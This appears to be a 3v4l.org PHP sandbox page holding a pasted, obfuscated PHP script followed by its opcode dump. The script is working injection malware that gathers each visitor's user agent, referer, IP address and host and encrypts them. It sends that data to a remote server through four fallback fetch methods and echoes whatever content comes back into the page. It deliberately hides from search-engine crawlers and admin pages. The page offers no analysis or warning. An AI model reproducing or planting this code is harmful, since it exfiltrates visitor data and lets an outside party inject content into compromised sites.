3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en2($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; }; function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf; } function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; } function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf; } function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; } if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2)); $i=$i+2+$xlen;} if ($flg & 8) $i=strpos($gzData,"",$i)+1; if ($flg & 16) $i=strpos($gzData,"", $i)+1; if ( $flg & 2) $i=$i+2;} return @gzinflate(substr($gzData,$i,-8));} else{ return false;}} } //} function k34($op,$text) { return base64_encode(en2($text, $op)); } function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } function day212() { $a=check212("HTTP_USER_AGENT"); $b=check212("HTTP_REFERER"); $c=check212("REMOTE_ADDR"); $d=check212("HTTP_HOST"); $e=check212("PHP_SELF"); $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) { $o1 = ""; } else { $op=mt_rand(100000,999999); $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); $url="http://".cqq(".com")."/".$g4; $ca1=en2(@gtd($url),$op); $a1=@explode("!NF0",$ca1); if (sizeof($a1)>=2) $o1 = $a1[1]; else $o1 = ""; } return $o1; } //} if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; } } echo day212();
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 5, Position 2 = 6
Branch analysis from position: 5
2 jumps found. (Code = 43) Position 1 = 11, Position 2 = 12
Branch analysis from position: 11
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 12
Branch analysis from position: 6
filename:       /in/Wi5GO
function name:  (null)
number of ops:  16
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   80     0  E >   INIT_FCALL                                               'function_exists'
          1        SEND_VAL                                                 'comgzi'
          2        DO_ICALL                                         $0      
          3        BOOL_NOT                                         ~1      $0
          4      > JMPZ                                                     ~1, ->6
   81     5    >   DECLARE_FUNCTION                                         'comgzi'
  126     6    >   INIT_FCALL                                               'function_exists'
          7        SEND_VAL                                                 'dcoo'
          8        DO_ICALL                                         $2      
          9        BOOL_NOT                                         ~3      $2
         10      > JMPZ                                                     ~3, ->12
  127    11    >   DECLARE_FUNCTION                                         'dcoo'
  142    12    >   INIT_FCALL                                               'day212'
         13        DO_FCALL                                      0  $4      
         14        ECHO                                                     $4
         15      > RETURN                                                   1

Function en2:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8
Branch analysis from position: 32
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 8
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8
Branch analysis from position: 32
Branch analysis from position: 8
filename:       /in/Wi5GO
function name:  en2
number of ops:  35
compiled vars:  !0 = $s, !1 = $q, !2 = $l, !3 = $p, !4 = $r, !5 = $m, !6 = $g
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   RECV                                             !0      
          1        RECV                                             !1      
    3     2        ASSIGN                                                   !2, 'strlen'
    4     3        ASSIGN                                                   !3, 'pack'
    5     4        ASSIGN                                                   !4, 'substr'
    6     5        ASSIGN                                                   !5, 'md5'
    7     6        ASSIGN                                                   !6, ''
    8     7      > JMP                                                      ->24
    9     8    >   INIT_DYNAMIC_CALL                                        !3
          9        SEND_VAL_EX                                              'H%2A'
         10        INIT_DYNAMIC_CALL                                        !5
         11        CONCAT                                           ~12     !6, !1
         12        CONCAT                                           ~13     ~12, 'q1w2e3r4'
         13        SEND_VAL_EX                                              ~13
         14        DO_FCALL                                      0  $14     
         15        SEND_VAR_NO_REF_EX                                       $14
         16        DO_FCALL                                      0  $15     
         17        ASSIGN                                                   !1, $15
   10    18        INIT_DYNAMIC_CALL                                        !4
         19        SEND_VAR_EX                                              !1
         20        SEND_VAL_EX                                              0
         21        SEND_VAL_EX                                              8
         22        DO_FCALL                                      0  $17     
         23        ASSIGN_OP                                     8          !6, $17
    8    24    >   INIT_DYNAMIC_CALL                                        !2
         25        SEND_VAR_EX                                              !6
         26        DO_FCALL                                      0  $19     
         27        INIT_DYNAMIC_CALL                                        !2
         28        SEND_VAR_EX                                              !0
         29        DO_FCALL                                      0  $20     
         30        IS_SMALLER                                               $19, $20
         31      > JMPNZ                                                    ~21, ->8
   12    32    >   BW_XOR                                           ~22     !0, !6
         33      > RETURN                                                   ~22
   13    34*     > RETURN                                                   null

End of function en2

Function g_1:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7
Branch analysis from position: 6
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 15, Position 2 = 16
Branch analysis from position: 15
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 16
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Wi5GO
function name:  g_1
number of ops:  18
compiled vars:  !0 = $url, !1 = $buf
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   15     0  E >   RECV                                             !0      
   16     1        INIT_FCALL                                               'function_exists'
          2        SEND_VAL                                                 'file_get_contents'
          3        DO_ICALL                                         $2      
          4        TYPE_CHECK                                    4          $2
          5      > JMPZ                                                     ~3, ->7
          6    > > RETURN                                                   <false>
   17     7    >   BEGIN_SILENCE                                    ~4      
          8        INIT_FCALL                                               'file_get_contents'
          9        SEND_VAR                                                 !0
         10        DO_ICALL                                         $5      
         11        END_SILENCE                                              ~4
         12        ASSIGN                                                   !1, $5
         13        IS_EQUAL                                                 !1, ''
         14      > JMPZ                                                     ~7, ->16
         15    > > RETURN                                                   <false>
         16    > > RETURN                                                   !1
   18    17*     > RETURN                                                   null

End of function g_1

Function g_2:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7
Branch analysis from position: 6
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 43, Position 2 = 44
Branch analysis from position: 43
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 44
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Wi5GO
function name:  g_2
number of ops:  46
compiled vars:  !0 = $url, !1 = $ch, !2 = $res
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   19     0  E >   RECV                                             !0      
   20     1        INIT_FCALL                                               'function_exists'
          2        SEND_VAL                                                 'curl_init'
          3        DO_ICALL                                         $3      
          4        TYPE_CHECK                                    4          $3
          5      > JMPZ                                                     ~4, ->7
          6    > > RETURN                                                   <false>
   22     7    >   INIT_FCALL_BY_NAME                                       'curl_init'
          8        DO_FCALL                                      0  $5      
          9        ASSIGN                                                   !1, $5
         10        INIT_FCALL_BY_NAME                                       'curl_setopt'
         11        SEND_VAR_EX                                              !1
         12        FETCH_CONSTANT                                   ~7      'CURLOPT_URL'
         13        SEND_VAL_EX                                              ~7
         14        SEND_VAR_EX                                              !0
         15        DO_FCALL                                      0          
   24    16        INIT_FCALL_BY_NAME                                       'curl_setopt'
         17        SEND_VAR_EX                                              !1
         18        FETCH_CONSTANT                                   ~9      'CURLOPT_RETURNTRANSFER'
         19        SEND_VAL_EX                                              ~9
         20        SEND_VAL_EX                                              1
         21        DO_FCALL                                      0          
   26    22        INIT_FCALL_BY_NAME                                       'curl_setopt'
         23        SEND_VAR_EX                                              !1
         24        FETCH_CONSTANT                                   ~11     'CURLOPT_TIMEOUT'
         25        SEND_VAL_EX                                              ~11
         26        SEND_VAL_EX                                              10
         27        DO_FCALL                                      0          
   27    28        INIT_FCALL_BY_NAME                                       'curl_setopt'
         29        SEND_VAR_EX                                              !1
         30        FETCH_CONSTANT                                   ~13     'CURLOPT_HEADER'
         31        SEND_VAL_EX                                              ~13
         32        SEND_VAL_EX                                              0
         33        DO_FCALL                                      0          
   28    34        INIT_FCALL_BY_NAME                                       'curl_exec'
         35        SEND_VAR_EX                                              !1
         36        DO_FCALL                                      0  $15     
         37        ASSIGN                                                   !2, $15
   29    38        INIT_FCALL_BY_NAME                                       'curl_close'
         39        SEND_VAR_EX                                              !1
         40        DO_FCALL                                      0          
   30    41        IS_EQUAL                                                 !2, ''
         42      > JMPZ                                                     ~18, ->44
   31    43    > > RETURN                                                   <false>
   32    44    > > RETURN                                                   !2
   33    45*     > RETURN                                                   null

End of function g_2

Function g_3:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7
Branch analysis from position: 6
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 23
Branch analysis from position: 22
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 23
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Wi5GO
function name:  g_3
number of ops:  25
compiled vars:  !0 = $url, !1 = $inc, !2 = $buf
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   35     0  E >   RECV                                             !0      
   36     1        INIT_FCALL                                               'function_exists'
          2        SEND_VAL                                                 'file'
          3        DO_ICALL                                         $3      
          4        TYPE_CHECK                                    4          $3
          5      > JMPZ                                                     ~4, ->7
          6    > > RETURN                                                   <false>
   37     7    >   BEGIN_SILENCE                                    ~5      
          8        INIT_FCALL                                               'file'
          9        SEND_VAR                                                 !0
         10        DO_ICALL                                         $6      
         11        END_SILENCE                                              ~5
         12        ASSIGN                                                   !1, $6
   38    13        BEGIN_SILENCE                                    ~8      
         14        INIT_FCALL                                               'implode'
         15        SEND_VAL                                                 ''
         16        SEND_VAR                                                 !1
         17        DO_ICALL                                         $9      
         18        END_SILENCE                                              ~8
         19        ASSIGN                                                   !2, $9
   39    20        IS_EQUAL                                                 !2, ''
         21      > JMPZ                                                     ~11, ->23
         22    > > RETURN                                                   <false>
   40    23    > > RETURN                                                   !2
   41    24*     > RETURN                                                   null

End of function g_3

Function g_4:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7
Branch analysis from position: 6
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 18, Position 2 = 20
Branch analysis from position: 18
2 jumps found. (Code = 43) Position 1 = 44, Position 2 = 45
Branch analysis from position: 44
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 45
2 jumps found. (Code = 43) Position 1 = 65, Position 2 = 71
Branch analysis from position: 65
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 71
1 jumps found. (Code = 42) Position 1 = 86
Branch analysis from position: 86
2 jumps found. (Code = 44) Position 1 = 92, Position 2 = 85
Branch analysis from position: 92
2 jumps found. (Code = 43) Position 1 = 99, Position 2 = 100
Branch analysis from position: 99
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 100
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 85
2 jumps found. (Code = 44) Position 1 = 92, Position 2 = 85
Branch analysis from position: 92
Branch analysis from position: 85
Branch analysis from position: 20
filename:       /in/Wi5GO
function name:  g_4
number of ops:  111
compiled vars:  !0 = $url, !1 = $p, !2 = $host, !3 = $uri, !4 = $ip1, !5 = $ip2, !6 = $sock, !7 = $req, !8 = $buf, !9 = $t, !10 = $m
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   43     0  E >   RECV                                             !0      
   44     1        INIT_FCALL                                               'function_exists'
          2        SEND_VAL                                                 'socket_create'
          3        DO_ICALL                                         $11     
          4        TYPE_CHECK                                    4          $11
          5      > JMPZ                                                     ~12, ->7
          6    > > RETURN                                                   <false>
   45     7    >   BEGIN_SILENCE                                    ~13     
          8        INIT_FCALL                                               'parse_url'
          9        SEND_VAR                                                 !0
         10        DO_ICALL                                         $14     
         11        END_SILENCE                                              ~13
         12        ASSIGN                                                   !1, $14
   46    13        FETCH_DIM_R                                      ~16     !1, 'host'
         14        ASSIGN                                                   !2, ~16
   47    15        ISSET_ISEMPTY_DIM_OBJ                         0  ~18     !1, 'query'
         16        BOOL_NOT                                         ~19     ~18
         17      > JMPZ                                                     ~19, ->20
         18    >   ASSIGN_DIM                                               !1, 'query'
         19        OP_DATA                                                  ''
   48    20    >   FETCH_DIM_R                                      ~21     !1, 'path'
         21        CONCAT                                           ~22     ~21, '%3F'
         22        FETCH_DIM_R                                      ~23     !1, 'query'
         23        CONCAT                                           ~24     ~22, ~23
         24        ASSIGN                                                   !3, ~24
   49    25        BEGIN_SILENCE                                    ~26     
         26        INIT_FCALL                                               'gethostbyname'
         27        SEND_VAR                                                 !2
         28        DO_ICALL                                         $27     
         29        END_SILENCE                                              ~26
         30        ASSIGN                                                   !4, $27
   50    31        BEGIN_SILENCE                                    ~29     
         32        INIT_FCALL                                               'long2ip'
         33        BEGIN_SILENCE                                    ~30     
         34        INIT_FCALL                                               'ip2long'
         35        SEND_VAR                                                 !4
         36        DO_ICALL                                         $31     
         37        END_SILENCE                                              ~30
         38        SEND_VAR                                                 $31
         39        DO_ICALL                                         $32     
         40        END_SILENCE                                              ~29
         41        ASSIGN                                                   !5, $32
   51    42        IS_NOT_EQUAL                                             !4, !5
         43      > JMPZ                                                     ~34, ->45
         44    > > RETURN                                                   <false>
   52    45    >   BEGIN_SILENCE                                    ~35     
         46        INIT_FCALL_BY_NAME                                       'socket_create'
         47        FETCH_CONSTANT                                   ~36     'AF_INET'
         48        SEND_VAL_EX                                              ~36
         49        FETCH_CONSTANT                                   ~37     'SOCK_STREAM'
         50        SEND_VAL_EX                                              ~37
         51        FETCH_CONSTANT                                   ~38     'SOL_TCP'
         52        SEND_VAL_EX                                              ~38
         53        DO_FCALL                                      0  $39     
         54        END_SILENCE                                              ~35
         55        ASSIGN                                                   !6, $39
   53    56        BEGIN_SILENCE                                    ~41     
         57        INIT_FCALL_BY_NAME                                       'socket_connect'
         58        SEND_VAR_EX                                              !6
         59        SEND_VAR_EX                                              !4
         60        SEND_VAL_EX                                              80
         61        DO_FCALL                                      0  $42     
         62        END_SILENCE                                              ~41
         63        BOOL_NOT                                         ~43     $42
         64      > JMPZ                                                     ~43, ->71
         65    >   BEGIN_SILENCE                                    ~44     
         66        INIT_FCALL_BY_NAME                                       'socket_close'
         67        SEND_VAR_EX                                              !6
         68        DO_FCALL                                      0          
         69        END_SILENCE                                              ~44
         70      > RETURN                                                   <false>
   54    71    >   ROPE_INIT                                     3  ~47     'GET+'
         72        ROPE_ADD                                      1  ~47     ~47, !3
         73        ROPE_END                                      2  ~46     ~47, '+HTTP%2F1.0%0A'
         74        ASSIGN                                                   !7, ~46
   55    75        ROPE_INIT                                     3  ~51     'Host%3A+'
         76        ROPE_ADD                                      1  ~51     ~51, !2
         77        ROPE_END                                      2  ~50     ~51, '%0A%0A'
         78        ASSIGN_OP                                     8          !7, ~50
         79        INIT_FCALL_BY_NAME                                       'socket_write'
         80        SEND_VAR_EX                                              !6
         81        SEND_VAR_EX                                              !7
         82        DO_FCALL                                      0          
   56    83        ASSIGN                                                   !8, ''
   57    84      > JMP                                                      ->86
   58    85    >   ASSIGN_OP                                     8          !8, !9
   57    86    >   INIT_FCALL_BY_NAME                                       'socket_read'
         87        SEND_VAR_EX                                              !6
         88        SEND_VAL_EX                                              10000
         89        DO_FCALL                                      0  $57     
         90        ASSIGN                                           ~58     !9, $57
         91      > JMPNZ                                                    ~58, ->85
   59    92    >   BEGIN_SILENCE                                    ~59     
         93        INIT_FCALL_BY_NAME                                       'socket_close'
         94        SEND_VAR_EX                                              !6
         95        DO_FCALL                                      0          
         96        END_SILENCE                                              ~59
   60    97        IS_EQUAL                                                 !8, ''
         98      > JMPZ                                                     ~61, ->100
         99    > > RETURN                                                   <false>
   62   100    >   INIT_FCALL                                               'explode'
        101        SEND_VAL                                                 '%0D%0A%0D%0A'
        102        SEND_VAR                                                 !8
        103        DO_ICALL                                         $62     
        104        FETCH_LIST_R                                     $63     $62, 0
        105        ASSIGN                                                   !10, $63
        106        FETCH_LIST_R                                     $65     $62, 1
        107        ASSIGN                                                   !8, $65
        108        FREE                                                     $62
        109      > RETURN                                                   !8
   63   110*     > RETURN                                                   null

End of function g_4

Function gtd:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 10, Position 2 = 11
Branch analysis from position: 10
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 11
2 jumps found. (Code = 43) Position 1 = 19, Position 2 = 20
Branch analysis from position: 19
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 20
2 jumps found. (Code = 43) Position 1 = 28, Position 2 = 29
Branch analysis from position: 28
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 29
2 jumps found. (Code = 43) Position 1 = 37, Position 2 = 38
Branch analysis from position: 37
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 38
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Wi5GO
function name:  gtd
number of ops:  40
compiled vars:  !0 = $url, !1 = $co
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   65     0  E >   RECV                                             !0      
   66     1        ASSIGN                                                   !1, ''
   67     2        BEGIN_SILENCE                                    ~3      
          3        INIT_FCALL                                               'g_1'
          4        SEND_VAR                                                 !0
          5        DO_FCALL                                      0  $4      
          6        END_SILENCE                                              ~3
          7        ASSIGN                                                   !1, $4
   68     8        TYPE_CHECK                                  1018          !1
          9      > JMPZ                                                     ~6, ->11
   69    10    > > RETURN                                                   !1
   70    11    >   BEGIN_SILENCE                                    ~7      
         12        INIT_FCALL                                               'g_2'
         13        SEND_VAR                                                 !0
         14        DO_FCALL                                      0  $8      
         15        END_SILENCE                                              ~7
         16        ASSIGN                                                   !1, $8
   71    17        TYPE_CHECK                                  1018          !1
         18      > JMPZ                                                     ~10, ->20
   72    19    > > RETURN                                                   !1
         20    >   BEGIN_SILENCE                                    ~11     
         21        INIT_FCALL                                               'g_3'
         22        SEND_VAR                                                 !0
         23        DO_FCALL                                      0  $12     
         24        END_SILENCE                                              ~11
         25        ASSIGN                                                   !1, $12
   73    26        TYPE_CHECK                                  1018          !1
         27      > JMPZ                                                     ~14, ->29
         28    > > RETURN                                                   !1
   74    29    >   BEGIN_SILENCE                                    ~15     
         30        INIT_FCALL                                               'g_4'
         31        SEND_VAR                                                 !0
         32        DO_FCALL                                      0  $16     
         33        END_SILENCE                                              ~15
         34        ASSIGN                                                   !1, $16
   75    35        TYPE_CHECK                                  1018          !1
         36      > JMPZ                                                     ~18, ->38
   76    37    > > RETURN                                                   !1
   77    38    > > RETURN                                                   ''
   78    39*     > RETURN                                                   null

End of function gtd

Function %00comgzi%2Fin%2FWi5GO%3A81%240:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 8, Position 2 = 71
Branch analysis from position: 8
2 jumps found. (Code = 43) Position 1 = 20, Position 2 = 59
Branch analysis from position: 20
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 37
Branch analysis from position: 22
2 jumps found. (Code = 43) Position 1 = 39, Position 2 = 46
Branch analysis from position: 39
2 jumps found. (Code = 43) Position 1 = 48, Position 2 = 55
Branch analysis from position: 48
2 jumps found. (Code = 43) Position 1 = 57, Position 2 = 59
Branch analysis from position: 57
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 59
Branch analysis from position: 55
Branch analysis from position: 46
Branch analysis from position: 37
Branch analysis from position: 59
Branch analysis from position: 71
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Wi5GO
function name:  comgzi
number of ops:  73
compiled vars:  !0 = $gzData, !1 = $i, !2 = $flg, !3 = $xlen
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   81     0  E >   RECV                                             !0      
   82     1        INIT_FCALL                                               'substr'
          2        SEND_VAR                                                 !0
          3        SEND_VAL                                                 0
          4        SEND_VAL                                                 3
          5        DO_ICALL                                         $4      
          6        IS_EQUAL                                                 $4, ''
          7      > JMPZ                                                     ~5, ->71
   83     8    >   ASSIGN                                                   !1, 10
          9        INIT_FCALL                                               'ord'
         10        INIT_FCALL                                               'substr'
         11        SEND_VAR                                                 !0
         12        SEND_VAL                                                 3
         13        SEND_VAL                                                 1
         14        DO_ICALL                                         $7      
         15        SEND_VAR                                                 $7
     

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
265.95 ms | 975 KiB | 42 Q